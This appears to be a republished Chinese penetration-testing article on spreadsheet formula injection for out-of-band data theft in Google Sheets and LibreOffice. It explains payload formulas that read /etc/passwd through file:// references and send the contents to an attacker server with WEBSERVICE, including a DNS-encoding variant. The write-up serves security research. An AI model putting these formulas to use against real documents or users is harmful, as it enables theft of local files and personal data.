當前位置:
首頁 > 最新 > 使用帶外數據從電子表格獲取數據

使用帶外數據從電子表格獲取數據

最近的客戶端滲透測試,讓我們對使用帶外數據(OOB)從電子表格竊取數據的方法頗感興趣。在本文中我們假設,我們對電子表格有一定的控制許可權(雖然有限),而對整個文檔或客戶端(目標)系統幾乎沒有任何的訪問許可權。

我們粗略的了解了下LibreOffice和Google Sheets,並為它們分別提供了一些PoC。我們特別關注非基於Windows的應用程序,因為在這一領域我們已經做了大量的工作,並且為此積攢了大量的實操經驗。


如果我們想要獲取實時數據,那麼基於雲的數據捕獲將會是最好的選擇。這是因為與基於客戶端的攻擊不同,我們能夠快速連續地在表單中填充數據並實時的接收響應。

攻擊場景可能會有很大不同,這取決於你能得到什麼。如果你能夠創建/上傳CSV文件或類似的其他文件到目標系統上,那麼你成功利用的幾率就會越大。

首先,讓我來為大家介紹一些非常有意思的功能。

CONCATENATE:追加字元串。

IMPORTXML:從各種結構化數據類型(包括XML,HTML,CSV,TSV以及RSS和ATOM XML Feed)導入數據。

IMPORTFEED:導入RSS或ATOM feed。

IMPORTHTML:從HTML頁面中的表或列表導入數據。

IMPORTRANGE:從指定的電子表格導入一系列單元格。

IMAGE:將圖像插入單元格。


基於Google文檔的電子表格功能,即上述功能可能成為帶外數據竊取的最佳途徑和選擇。

場景1 [失敗]:這是一個失敗的PoC演示,之所以包括這部分是希望大家能夠從我們的失敗經歷中,學習到更多的知識。只有經歷過失敗,

才會更覺成功的甜蜜。

Google提供了創建表單和接收響應的功能,後續我們可以使用Google sheets訪問這些功能。我們試圖通過在Google表單的評論部分提交惡意公式來進行利用。但Google對提交的響應進行了完整性檢查,並自動在公式前添加(』)撇號,阻止公式執行。

場景2 [成功]:Google sheets還提供了一些功能,允許我們從不同的文件格式導入數據,如CSV、TSV、XLSX等。導入的數據可以使用新電子表格來表示,也可以附加到現有表單中。對於我們的PoC,我們會將其附加到包含前一場景響應的表單中,以便我們可以提取其他用戶提交的數據。幸運的是,Google沒有像在場景1中那樣,執行相同的檢查。使用了以下步驟。

1)我們創建了一個帶有payload(公式)的惡意csv文件,該文件將連接A到D列的數據。 然後,我們使用這些詳細信息為攻擊者伺服器生成帶外請求。

2)然後,我們使用導入功能將csv文件導入Google表格,並將數據附加到現有工作表中。

3)一旦導入數據,我們的payload就會執行,我們就可以在HTTP伺服器上收聽用戶的詳細信息,例如姓名,電子郵件和SSN數據。


本節重點介紹如何在Linux環境中利用CSV注入。許多博客已經發布了PoC和其他類似的工具,這些工具涉及利用Excel中的DDE,但很少涉及Linux環境中的辦公應用程序。這是可以理解的,因為Linux桌面普及程度遠遠低於Windows同類產品,而且我們知道,攻擊者總會把目光瞄向最廣泛和最有利可圖的地方。

在本文中我們會使用一些簡單的,但非常有趣的可以在Linux目標上利用的攻擊公式。

payload已在下列環境中成功測試:

Ubuntu 16.04 LTS and LibreOffice 5.1.6.2

Ubuntu 18.04 LTS and LibreOffice 6.0.3.2

我們首先嘗試使用我們的本地訪問通過公式讀取敏感文件。 LibreOffice提供使用「file」協議讀取文件。從本地/etc/passwd文件中檢索單行的初始PoC已創建,並在下面詳細介紹。

Payload 1:

分析上述payload:

『file:///etc/passwd』#$passwd.A1 – 將讀取本地/etc/passwd文件中第一行的內容。

有趣的是,似乎還可以使用http://代替 file:///

需要注意的是,在初次導入時,系統會提示用戶執行如下截圖所示的操作(在本例中顯示/etc/group的輸出)。

導入後,每當文檔重新打開時,都會提示用戶更新鏈接。

順便提一下,通過更改行參考(在本例中為A2),我們可以從文件中讀取更多條目。

這一切都很順利,但我們需要一種方法來查看來自遠程系統的文件內容(我們不會在LibreOffice應用程序中查看這些結果!)

這導致我們需要查看WEBSERVICE功能。實質上,我們可以使用此函數連接到我們控制的遠程系統,然後發送對從本地/etc/passwd文件中提取的數據的請求。顯然,這些文件不會存在於攻擊主機上,但GET請求將包含所有的信息,並且可以通過攻擊主機上的日誌或控制台輸出。

為此,我們構造出了以下PoC。

Payload 2:

分析上述payload:

『file:///etc/passwd』#$passwd.A1 – 將讀取本地/etc/passwd文件中第一行的內容

CONCATENATE(「http://:8080」,(『file:///etc/passwd』#$passwd.A1)) - 連接IP地址並輸出』file』

WEBSERVICE – 將向我們的攻擊主機發送針對給定URI的請求

我們的攻擊系統運行了Python的SimpleHTTPServer,當惡意文件在受害者系統上打開時,請求就會被我們的伺服器接收並接收。

同樣,我們創建了幾個paylaod來讀取目標文件。如果空間不是問題,只需確保最後一個引用(即#$passwd.A1)設置為每行增加一行,就可以通過在單個文檔中嵌入多行來輕鬆實現此任務。以下PoC將提取並發送目標文件/etc/passwd中的前30行。

但是,實現相同目標的更簡潔的方法是在單個公式中引用多行,如下所示。

在執行下面的payload時,來自/etc/passwd文件的2行被發送到攻擊伺服器。

Payload 3:

分析上述payload:

『file:///etc/passwd』#$passwd.AX – 將讀取本地/etc/passwd文件中第一行和第二行的內容

CONCATENATE(「http://:8080/」,(『file:///etc/passwd』#$passwd.A1)&CHAR(36)&(『file:///etc/passwd』#$passwd.A2)) – 將攻擊伺服器IP地址與/etc/passwd第1行和第2行(文件中的第2行)的輸出連接起來,每個行都用dollar($)符

WEBSERVICE – 將向我們的攻擊主機發送針對給定URI的請求

查看攻擊主機,我們可以在GET請求中看到/etc/passwd中的相應條目,在這個實例中由$字元(CHAR 36)分隔。

根據文件內容的不同,我們可能會遇到有關長度(https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers)和特殊字元導致失敗的情況,因此在這方面一定要引起注意!

在下面的這個PoC中,我們很好的解決了上面提到的這兩個問題。

Payload 4:

分析上述payload:

『file:///etc/passwd』#$passwd.A19 – 將從本地/ etc / passwd文件中讀取第19行

ENCODEURL(』file:///etc/passwd』#$passwd.A19) – 對返回的數據進行URL編碼

MID((ENCODEURL(』file:///etc/passwd』#$passwd.A19)),1,41) – 與子字元串類似,從第1個字元讀取數據到第41個字元 – 一種非常方便的方式來限制DNS的長度主機名(FQDN上的254個字元限制和一個標籤的63個字元,即子域)

SUBSTITUTE(MID((ENCODEURL(』file:///etc/passwd』#$passwd.A19)),1,41),「%」,「 – 」) – 替換%(URL中的特殊字元編碼)與破折號 – 這是確保只有有效的DNS字元被使用

CONCATENATE((SUBSTITUTE(MID((ENCODEURL(』文件:///etc/passwd』#$passwd.A19)),1,41),」%」,」 – 『)),』。」) – 將文件的輸出(經過上述處理後)與FQDN(我們可以訪問域的權威主機)連接起來,

WEBSERVICE – 將請求這個不存在的DNS名稱,然後我們可以在我們控制的DNS權威名稱伺服器上解析日誌(或運行tcpdump等)

在發送此消息時,我們可以通過我們伺服器上的tcpdump來查看FQDN(包括來自/etc/passwd的第19行的編碼數據)的查詢,該伺服器被配置為該域的權威伺服器,如下所示。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 瘋貓網路 的精彩文章:

小技巧——病毒分析中關閉ASLR
PowerView:一個可以幫助你躲避檢測的內網信息收集腳本

TAG:瘋貓網路 |